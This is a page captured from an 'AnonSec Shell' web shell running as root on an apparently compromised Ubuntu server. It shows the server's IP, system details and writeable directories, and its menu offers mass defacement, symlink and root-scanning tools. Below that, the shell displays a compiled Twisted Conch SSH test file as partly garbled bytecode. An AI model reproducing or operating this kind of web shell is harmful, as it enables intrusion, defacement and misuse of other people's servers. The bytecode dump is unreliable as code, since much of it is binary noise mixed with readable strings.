AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/conch/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/conch/test/__pycache__/test_conch.cpython-310.pyc
o

�b�d�
@sddlZddlZddlZddlZddlmZddlmZddlm	Z	ddl
mZddlm
Z
mZmZmZddlmZddlmZdd	lmZmZmZdd
lmZddlmZddlmZdd
lm Z m!Z!m"Z"ddl#m$Z$ddl%m&Z&ddl'm(Z(ddl)m*Z*m+Z+z
ddlm,Z,m-Z-Wn	e.y�Ynwe(d�Z/e(d�Z0e0r�ddl1m2Z2ddl3m4Z4m5Z5m6Z6n
ddl7m4Z4Gdd�d�Z2zddl8m5Z9Wne.y�Z:z
dZ;e<e:�Z=[:WYdZ:[:ndZ:[:wwe9Z;dd�Z>e>�Z?Gdd�d�Z@Gdd �d e+�ZAGd!d"�d"ejB�ZCGd#d$�d$ejD�ZEGd%d&�d&ejF�ZGGd'd(�d(ejF�ZHGd)d*�d*ejB�ZIdBd,d-�ZJGd.d/�d/�ZKGd0d1�d1eK�ZLe	e4�Gd2d3�d3e2��ZMGd4d5�d5�ZNGd6d7�d7eK�ZOGd8d9�d9�ZPGd:d;�d;eKePe+�ZQGd<d=�d=eLePe+�ZRGd>d?�d?eOePe+�ZSGd@dA�dAeLe+�ZTdS)C�N)�count)�skipIf)�implementer)�
ConchError)�privateDSA_openssh�privateRSA_openssh�publicDSA_openssh�publicRSA_openssh��ConchTestRealm)�portal)�defer�protocol�reactor)�ProcessExitedAlready)�LoopingCall)�getProcessValue)�filepath�log�runtime)�FilePath)�which)�
requireModule)�SkipTest�TestCase)�ConchTestServerFactory�conchTestPublicKeyChecker�pyasn1�cryptography)�	ConchUser)�ISession�
SSHSession�wrapProtocol)r c@seZdZdS)rN)�__name__�
__module__�__qualname__�r&r&�?/usr/lib/python3/dist-packages/twisted/conch/test/test_conch.pyr2sr)r!cCsJd}d}zt�tj�}|�d�d}Wn	tyYnw|r#|��|S)z4Returns True if the system can bind an IPv6 address.NF)�::1rT)�socket�AF_INET6�bind�OSError�close)�sock�has_ipv6r&r&r'�	_has_ipv6@s
�r0c@seZdZdZdZdd�ZdS)�	FakeStdioz�
    A fake for testing L{twisted.conch.scripts.conch.SSHSession.eofReceived} and
    L{twisted.conch.scripts.cftp.SSHSession.eofReceived}.

    @ivar writeConnLost: A flag which records whether L{loserWriteConnection}
        has been called.
    FcCs
d|_dS)z9
        Record the call to loseWriteConnection.
        TN)�
writeConnLost��selfr&r&r'�loseWriteConnection_s
zFakeStdio.loseWriteConnectionN)r#r$r%�__doc__r2r5r&r&r&r'r1Tsr1c@s$eZdZdZedureZdd�ZdS)�StdioInteractingSessionTestsz>
    Tests for L{twisted.conch.scripts.conch.SSHSession}.
    NcCs*t�}t�}||_|��|�|j�dS)z}
        L{twisted.conch.scripts.conch.SSHSession.eofReceived} loses the
        write half of its stdio connection.
        N)r1�StdioInteractingSession�stdio�eofReceived�
assertTruer2)r4r9�channelr&r&r'�test_eofReceivedns
z-StdioInteractingSessionTests.test_eofReceived)r#r$r%r6r8�_reason�skipr=r&r&r&r'r7fs
r7c@s$eZdZdd�Zdd�Zdd�ZdS)�EchocC�t�d�dS)NzECHO CONNECTION MADE�r�msgr3r&r&r'�connectionMade{�zEcho.connectionMadecCrA)NzECHO CONNECTION DONErB�r4�reasonr&r&r'�connectionLost~rEzEcho.connectionLostcCs&|j�|�d|vr|j��dSdS)N�
)�	transport�write�loseConnection�r4�datar&r&r'�dataReceived�s�zEcho.dataReceivedN)r#r$r%rDrHrOr&r&r&r'r@zsr@c@seZdZeZdS)�EchoFactoryN)r#r$r%r@rr&r&r&r'rP��rPc@s<eZdZdZdZdZdZdd�Zdd�Zdd	�Z	d
d�Z
dS)�ConchTestOpenSSHProcessa
    Test protocol for launching an OpenSSH client process.

    @ivar deferred: Set by whatever uses this object. Accessed using
    L{_getDeferred}, which destroys the value so the Deferred is not
    fired twice. Fires when the process is terminated.
    N�cC�|jd}|_|S�N��deferred�r4�dr&r&r'�_getDeferred��z$ConchTestOpenSSHProcess._getDeferredcC�|j|7_dSrU)�bufrMr&r&r'�outReceived��z#ConchTestOpenSSHProcess.outReceivedcCr\rU)�problemsrMr&r&r'�errReceived�r_z#ConchTestOpenSSHProcess.errReceivedc	CsV|jjdkr|���td�|jj|j�d����dS|j�	dd�}|���
|�dS)z~
        Called when the process has ended.

        @param reason: a Failure giving the reason for the process' end.
        rzexit code was not 0: {} ({})�charmaps
rIN)�value�exitCoderZ�errbackr�formatr`�decoder]�replace�callback)r4rGr]r&r&r'�processEnded�s
���	z$ConchTestOpenSSHProcess.processEnded)r#r$r%r6rWr]r`rZr^rarjr&r&r&r'rR�srRc@sTeZdZdZdZdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�ZdS)�ConchTestForwardingProcessa�
    Manages a third-party process which launches a server.

    Uses L{ConchTestForwardingPort} to connect to the third-party server.
    Once L{ConchTestForwardingPort} has disconnected, kill the process and fire
    a Deferred with the data received by the L{ConchTestForwardingPort}.

    @ivar deferred: Set by whatever uses this object. Accessed using
    L{_getDeferred}, which destroys the value so the Deferred is not
    fired twice. Fires when the process is terminated.
    NcCs||_d|_||_dS)aF
        @type port: L{int}
        @param port: The port on which the third-party server is listening.
        (it is assumed that the server is running on localhost).

        @type data: L{str}
        @param data: This is sent to the third-party server. Must end with '
'
        in order to trigger a disconnect.
        N)�port�bufferrN)r4rlrNr&r&r'�__init__�s

z#ConchTestForwardingProcess.__init__cCrTrUrVrXr&r&r'rZ�r[z'ConchTestForwardingProcess._getDeferredcCs|��dSrU)�_connectr3r&r&r'rD�sz)ConchTestForwardingProcess.connectionMadecCs0t�tt||j�}|�d|j�}|�|j�|S)a
        Connect to the server, which is often a third-party process.
        Tries to reconnect if it fails because we have no way of determining
        exactly when the port becomes available for listening -- we can only
        know when the process starts.
        �	127.0.0.1)	r�
ClientCreatorr�ConchTestForwardingPortrN�
connectTCPrl�
addErrback�
_ebConnect)r4�ccrYr&r&r'ro�sz#ConchTestForwardingProcess._connectcCst�d|j�dS)Ng�������?)r�	callLaterro)r4�fr&r&r'ru�r_z%ConchTestForwardingProcess._ebConnectcCs.||_|j�d�|j��t�d|j�dS)z�
        The network connection has died; save the buffer of output
        from the network and attempt to quit the process gracefully,
        and then (after the reactor has spun) send it a KILL signal.
        �rN)rmrJrKrLrrw�
_reallyDie)r4rmr&r&r'�forwardingPortDisconnected�s
z5ConchTestForwardingProcess.forwardingPortDisconnectedcCs(z	|j�d�WdStyYdSw)N�KILL)rJ�
signalProcessrr3r&r&r'rz�s
�z%ConchTestForwardingProcess._reallyDiecCs|���|j�dS)z�
        Fire the Deferred at self.deferred with the data collected
        from the L{ConchTestForwardingPort} connection, if any.
        N)rZrirmrFr&r&r'rj�sz'ConchTestForwardingProcess.processEnded)
r#r$r%r6rWrnrZrDrorur{rzrjr&r&r&r'rk�srkc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)rrz�
    Connects to server launched by a third-party process (managed by
    L{ConchTestForwardingProcess}) sends data, then reports whatever it
    received back to the L{ConchTestForwardingProcess} once the connection
    is ended.
    cCs||_||_dS)z�
        @type protocol: L{ConchTestForwardingProcess}
        @param protocol: The L{ProcessProtocol} which made this connection.

        @type data: str
        @param data: The data to be sent to the third-party server.
        N)rrN)r4rrNr&r&r'rn
s
z ConchTestForwardingPort.__init__cCsd|_|j�|j�dS)NrS)rmrJrKrNr3r&r&r'rDsz&ConchTestForwardingPort.connectionMadecCr\rU)rmrMr&r&r'rOr_z$ConchTestForwardingPort.dataReceivedcCs|j�|j�dSrU)rr{rmrFr&r&r'rHr_z&ConchTestForwardingPort.connectionLostN)r#r$r%r6rnrDrOrHr&r&r&r'rrsrr�conchcCsFtjd|g}g}|t|�D]}t|t�r|�d�}|�|�q|S)Na$-c
### Twisted Preamble
import sys, os
path = os.path.abspath(sys.argv[0])
while os.path.dirname(path) != path:
    if os.path.basename(path).startswith('Twisted'):
        sys.path.insert(0, path)
        break
    path = os.path.dirname(path)

from twisted.conch.scripts.%s import run
run()�utf-8)�sys�
executable�list�
isinstance�str�encode�append)�args�mod�start�madeArgs�argr&r&r'�	_makeArgs s
��

r�c@sPeZdZesdZesdZedd��Zdd�Zdd�Z	d	d
�Z
dd�Zd
d�ZdS)�ConchServerSetupMixinzcan't run without cryptographyzCannot run without PyASN1cCstd�S)Nstestuserr
r&r&r&r'�realmFactoryAsz"ConchServerSetupMixin.realmFactorycCsjdD]
}tj�|�rt�|�qtdd��
}|�t�Wd�n1s%wYtdd��
}|�t�Wd�n1s?wYtdd��
}|�t�Wd�n1sYwYtdd��
}|�t	�Wd�n1sswYt�
dd�t�
dd�td���}|j
js�|jjr�td��td	d��}|�d
t�Wd�dS1s�wYdS)N)�rsa_test�rsa_test.pub�dsa_test�dsa_test.pub�kh_testr��wbr�r�r�i�zgprivate key readable by others despite chmod; possible windows permission issue? see https://tm.tl/9767r�s
127.0.0.1 )�os�path�exists�remove�openrKrr	rr�chmodr�getPermissions�group�read�otherr)r4rx�permissionsr&r&r'�_createFilesEs4
������"�z"ConchServerSetupMixin._createFilescCs*t��}|�d�|��d}|��|S)N)�r�)r)r+�getsocknamer-)r4�srlr&r&r'�_getFreePort]s

z"ConchServerSetupMixin._getFreePortcCs.|��}t�|�}|�t��t�}||_|S)z�
        Make a L{ConchTestServerFactory}, which allows us to start a
        L{ConchTestServer} -- i.e. an actually listening conch.
        )r�r�Portal�registerCheckerrr)r4�realm�p�factoryr&r&r'�_makeConchFactoryds
z'ConchServerSetupMixin._makeConchFactorycCsz|��|��|_d|j_tjd|jdd�|_t�dt��|_|j�	�j
|_tr;tjdt�dd�|_
|j
�	�j
|_dSdS)Nr�rrp)�	interfacer()r�r��conchFactory�expectedLoseConnectionr�	listenTCP�conchServerrP�
echoServer�getHostrl�echoPort�HAS_IPV6�echoServerV6�
echoPortV6r3r&r&r'�setUpps
��zConchServerSetupMixin.setUpcCsnzd|jj_Wn	tyYnw|jjj��t�|jj	�t�|j
j	�g}tr2|�t�|j
j	��t�|�S)Nr�)r��proto�done�AttributeErrorrJrLr
�
maybeDeferredr��
stopListeningr�r�r�r��
gatherResults)r4�	deferredsr&r&r'�tearDown}s��
zConchServerSetupMixin.tearDownN)
r#r$r%rr?r�staticmethodr�r�r�r�r�r�r&r&r&r'r�:s

r�c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�ForwardingMixina�
    Template class for tests of the Conch server's ability to forward arbitrary
    protocols over SSH.

    These tests are integration tests, not unit tests. They launch a Conch
    server, a custom TCP server (just an L{EchoProtocol}) and then call
    L{execute}.

    L{execute} is implemented by subclasses of L{ForwardingMixin}. It should
    cause an SSH client to connect to the Conch server, asking it to forward
    data to the custom TCP server.
    cCs|�dt��}|�|jd�S)z�
        Test that we can use whatever client to send the command "echo goodbye"
        to the Conch server. Make sure we receive "goodbye" back from the
        server.
        �echo goodbye�goodbye
��executerR�addCallback�assertEqualrXr&r&r'�	test_exec�szForwardingMixin.test_execcC�>|��}t|d�}|jd|d||jfd�}|�|jd�|S)zy
        Test that we can use whatever client to forward a local port to a
        specified port on the server.
        �test
r�z-N -L%i:127.0.0.1:%i��sshArgs�r�rkr�r�r�r��r4�	localPort�processrYr&r&r'�test_localToRemoteForwarding��
�z,ForwardingMixin.test_localToRemoteForwardingcCr�)zs
        Test that we can use whatever client to forward a port from the server
        to a port locally.
        r�r�z-N -R %i:127.0.0.1:%ir�r�r�r&r&r'�test_remoteToLocalForwarding�r�z,ForwardingMixin.test_remoteToLocalForwardingN)r#r$r%r6r�r�r�r&r&r&r'r��s

	
r�c@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�RekeyAvatara#
    This avatar implements a shell which sends 60 numbered lines to whatever
    connects to it, then closes the session with a 0 exit status.

    60 lines is selected as being enough to send more than 2kB of traffic, the
    amount the client is configured to initiate a rekey after.
    cCst�|�t|jd<dS)Nssession)rrnr!�
channelLookupr3r&r&r'rn�s
zRekeyAvatar.__init__csHt��}|�����t|����fdd�}t|t�����d�dS)zE
        Write 60 lines of data to the transport, then exit.
        csZt|�}|dkr����jj��jdd����dSd|f}|�d�}��|�dS)N�<sexit-statusszline #%02d
r)�next�stop�session�conn�sendRequestrLr�rK)�counter�i�line��callrJr&r'rK�s�

z$RekeyAvatar.openShell.<locals>.writeg{�G�z�?N)r�Protocol�makeConnectionr"rrr�)r4rJr�rKr&r�r'�	openShell�s
zRekeyAvatar.openShellcCsdS)z2
        Ignore the close of the session.
        Nr&r3r&r&r'�closed��zRekeyAvatar.closedcC�dSrUr&r3r&r&r'r:��zRekeyAvatar.eofReceivedcCr�rUr&)r4r��commandr&r&r'�execCommand�r�zRekeyAvatar.execCommandcCr�rUr&)r4�term�
windowSize�modesr&r&r'�getPty�r�zRekeyAvatar.getPtycCr�rUr&)r4�
newWindowSizer&r&r'�
windowChangedr�zRekeyAvatar.windowChangedN)r#r$r%r6rnr�r�r:r�r�r�r&r&r&r'r��s!r�c@seZdZdZdd�ZdS)�
RekeyRealmzS
    This realm gives out new L{RekeyAvatar} instances for any avatar request.
    cGs|dt�dd�fS)NrcSr�rUr&r&r&r&r'�<lambda>r�z*RekeyRealm.requestAvatar.<locals>.<lambda>)r�)r4�avatarID�mind�
interfacesr&r&r'�
requestAvatar
szRekeyRealm.requestAvatarN)r#r$r%r6r�r&r&r&r'r�sr�c@seZdZdZeZdd�ZdS)�RekeyTestsMixinzp
    TestCase mixin which defines tests exercising L{SSHTransportBase}'s handling
    of rekeying messages.
    cs.t�}��d|d�}�fdd�}|�|�|S)z�
        After a client-initiated rekey is completed, application data continues
        to be passed over the SSH connection.
        r�z-o RekeyLimit=2Kcs6d�dd�td�D��d}|�d�}��||�dS)N�
cSsg|]}d|f�qS)z
line #%02dr&)�.0r�r&r&r'�
<listcomp>"szFRekeyTestsMixin.test_clientRekey.<locals>.finished.<locals>.<listcomp>r�r)�join�ranger�r�)�result�expectedResultr3r&r'�finished!s
z2RekeyTestsMixin.test_clientRekey.<locals>.finished)rRr�r�)r4r�rYr�r&r3r'�test_clientRekeys

z RekeyTestsMixin.test_clientRekeyN)r#r$r%r6r�r�r�r&r&r&r'r�sr�c@s"eZdZed�s
dZddd�ZdS)�OpenSSHClientMixin�sshz$no ssh command-line client availabler�cs.ttd�dd�}����fdd�}|�|�S)a�
        Connects to the SSH server started in L{ConchServerSetupMixin.setUp} by
        running the 'ssh' command line tool.

        @type remoteCommand: str
        @param remoteCommand: The command (with arguments) to run on the
        remote end.

        @type process: L{ConchTestOpenSSHProcess}

        @type sshArgs: str
        @param sshArgs: Arguments to pass to the 'ssh' process.

        @return: L{defer.Deferred}
        rr)z-ozPubkeyAcceptedKeyTypes=ssh-dssz-Vcs�|dkrd}nd}t���_d|�d�}�j��j}||��}g}|D]}t|t�r4|�	d�}|�
|�q(t��t
d�d|��jS)Nrz!-oPubkeyAcceptedKeyTypes=ssh-dss r�z�ssh -2 -l testuser -p %i -F /dev/null -oUserKnownHostsFile=kh_test -oPasswordAuthentication=no -oHostKeyAlgorithms=ssh-rsa -a -i dsa_test � 127.0.0.1 rr)r
�DeferredrWr�r�rl�splitr�r�r�r�r�spawnProcessr)�status�opts�cmdlinerl�cmds�encodedCmds�cmd�r��
remoteCommandr4r�r&r'�hasPAKTFs.
	���
��

z+OpenSSHClientMixin.execute.<locals>.hasPAKT)rrr�)r4r
r�r�rYrr&rr'r�.s
�
$zOpenSSHClientMixin.executeN)r�)r#r$r%rr?r�r&r&r&r'r*src@sPeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�ZdS)�OpenSSHKeyExchangeTestsz\
    Tests L{SSHTransportBase}'s key exchange algorithm compatibility with
    OpenSSH.
    cCs�g}ztjtd�dddgtjd�}t|t�s|�d�}|��}Wn	ty*Ynw||vr6t	|�d���|�
dt�d	|�}|�|j
d
�S)aI
        Call execute() method of L{OpenSSHClientMixin} with an ssh option that
        forces the exclusive use of the key exchange algorithm specified by
        keyExchangeAlgo

        @type keyExchangeAlgo: L{str}
        @param keyExchangeAlgo: The key exchange algorithm to use

        @return: L{defer.Deferred}
        rrz-Q�kex)�stderrrz not supported by ssh clientz
echo helloz-oKexAlgorithms=shello
)�
subprocess�check_outputr�STDOUTr�r�rgr�
BaseExceptionrr�rRr�r�)r4�keyExchangeAlgo�
kexAlgorithms�outputrYr&r&r'�assertExecuteWithKexAlgorithmss&�

��z5OpenSSHKeyExchangeTests.assertExecuteWithKexAlgorithmcC�
|�d�S)zb
        The ecdh-sha2-nistp256 key exchange algorithm is compatible with
        OpenSSH
        zecdh-sha2-nistp256�rr3r&r&r'�test_ECDHSHA256��
z'OpenSSHKeyExchangeTests.test_ECDHSHA256cCr)zb
        The ecdh-sha2-nistp384 key exchange algorithm is compatible with
        OpenSSH
        zecdh-sha2-nistp384rr3r&r&r'�test_ECDHSHA384�rz'OpenSSHKeyExchangeTests.test_ECDHSHA384cCr)zb
        The ecdh-sha2-nistp521 key exchange algorithm is compatible with
        OpenSSH
        zecdh-sha2-nistp521rr3r&r&r'�test_ECDHSHA521�rz'OpenSSHKeyExchangeTests.test_ECDHSHA521cCr)zl
        The diffie-hellman-group14-sha1 key exchange algorithm is compatible
        with OpenSSH.
        zdiffie-hellman-group14-sha1rr3r&r&r'�test_DH_GROUP14�rz'OpenSSHKeyExchangeTests.test_DH_GROUP14cCr)zs
        The diffie-hellman-group-exchange-sha1 key exchange algorithm is
        compatible with OpenSSH.
        z"diffie-hellman-group-exchange-sha1rr3r&r&r'�test_DH_GROUP_EXCHANGE_SHA1�rz3OpenSSHKeyExchangeTests.test_DH_GROUP_EXCHANGE_SHA1cCr)zu
        The diffie-hellman-group-exchange-sha256 key exchange algorithm is
        compatible with OpenSSH.
        z$diffie-hellman-group-exchange-sha256rr3r&r&r'�test_DH_GROUP_EXCHANGE_SHA256�s�z5OpenSSHKeyExchangeTests.test_DH_GROUP_EXCHANGE_SHA256cCs|�t|jd�dS)zy
        The list of key exchange algorithms supported
        by OpenSSH client is obtained with C{ssh -Q kex}.
        zunsupported-algorithmN)�assertRaisesrrr3r&r&r'�test_unsupported_algorithm�s�z2OpenSSHKeyExchangeTests.test_unsupported_algorithmN)r#r$r%r6rrrrr r!r"r$r&r&r&r'rms 	rc@s$eZdZdZeed�dd��ZdS)�OpenSSHClientForwardingTestszR
    Connection forwarding tests run against the OpenSSL command line client.
    zRequires IPv6 supportcCr�)zG
        Forwarding of arbitrary IPv6 TCP connections via SSH.
        r�r�z-N -L%i:[::1]:%ir�)r�rkr�r�r�r�r�r&r&r'�test_localToRemoteForwardingV6�r�z;OpenSSHClientForwardingTests.test_localToRemoteForwardingV6N)r#r$r%r6rr�r&r&r&r&r'r%�s
r%c@seZdZdZdS)�OpenSSHClientRekeyTestszE
    Rekeying tests run against the OpenSSL command line client.
    N)r#r$r%r6r&r&r&r'r'�rQr'c@s8eZdZdZejdkr
dZddd�Zdd	�Zd
d�Z	dS)
�CmdLineClientTestszP
    Connection forwarding tests run against the Conch command line client.
    �win32z!can't run cmdline client on win32r�Nc
Cs�|durg}t��|_|j��j}d�|�|d|}t||���}t	j
��}t	j�
tj�|d<g}	i}
|D]}t|t�rD|�d�}|	�|�q8|D]}||}t|t�r\|�d�}t|t�rf|�d�}||
|<qLtj|tj|	|
d�|jS)z{
        As for L{OpenSSHClientTestCase.execute}, except it runs the 'conch'
        command line tool, not 'ssh'.
        Nz[-p {} -l testuser --known-hosts kh_test --user-authentications publickey -a -i dsa_test -v r�
PYTHONPATHr)�env)r
rrWr�r�rlrfr�rr��environ�copy�pathsepr�r�r�r�r�r�r�rrr�)
r4r
r�r��	conchArgsrlrr	r+r
�
encodedEnv�var�valr&r&r'r��s<
����







zCmdLineClientTests.executecsV��fdd�}t�������jdt�dd�jddgd�}|��jd	�|�|�|S)
z4
        It can store logs to a local file.
        cs���}��d|�dS)NsLog opened.)�
getContent�assertIn)r��
logContent��logPathr4r&r'�cb_check_logsz<CmdLineClientTests.test_runWithLogFile.<locals>.cb_check_logr�z--logz	--logfilez--host-key-algorithmszssh-rsa)r
r�r/r�)rr�mktempr�rRr�r�r�)r4r8rYr&r6r'�test_runWithLogFiles��
z&CmdLineClientTests.test_runWithLogFilecCs"|jdt�d�}|�|jd�|S)zH
        Do not use --host-key-algorithms flag on command line.
        r�)r
r�r�r�rXr&r&r'�%test_runWithNoHostAlgorithmsSpecified*s
�z8CmdLineClientTests.test_runWithNoHostAlgorithmsSpecified)r�N)
r#r$r%r6r�platformTyper?r�r:r;r&r&r&r'r(�s

%r()r~)Ur�r)rr��	itertoolsr�unittestr�zope.interfacer�twisted.conch.errorr�twisted.conch.test.keydatarrrr	�twisted.conch.test.test_sshr�twisted.credr�twisted.internetr
rr�twisted.internet.errorr�twisted.internet.taskr�twisted.internet.utilsr�twisted.pythonrrr�twisted.python.filepathr�twisted.python.procutilsr�twisted.python.reflectr�twisted.trial.unittestrrrr�ImportErrorrr�twisted.conch.avatarr�twisted.conch.ssh.sessionr r!r"�twisted.conch.interfaces�twisted.conch.scripts.conch�_StdioInteractingSession�er8r�r>r0r�r1r7r�r@�FactoryrP�ProcessProtocolrRrkrrr�r�r�r�r�r�rrr%r'r(r&r&r&r'�<module>s|���
+L
S6D	C\

Anon7 - 2022
AnonSec Team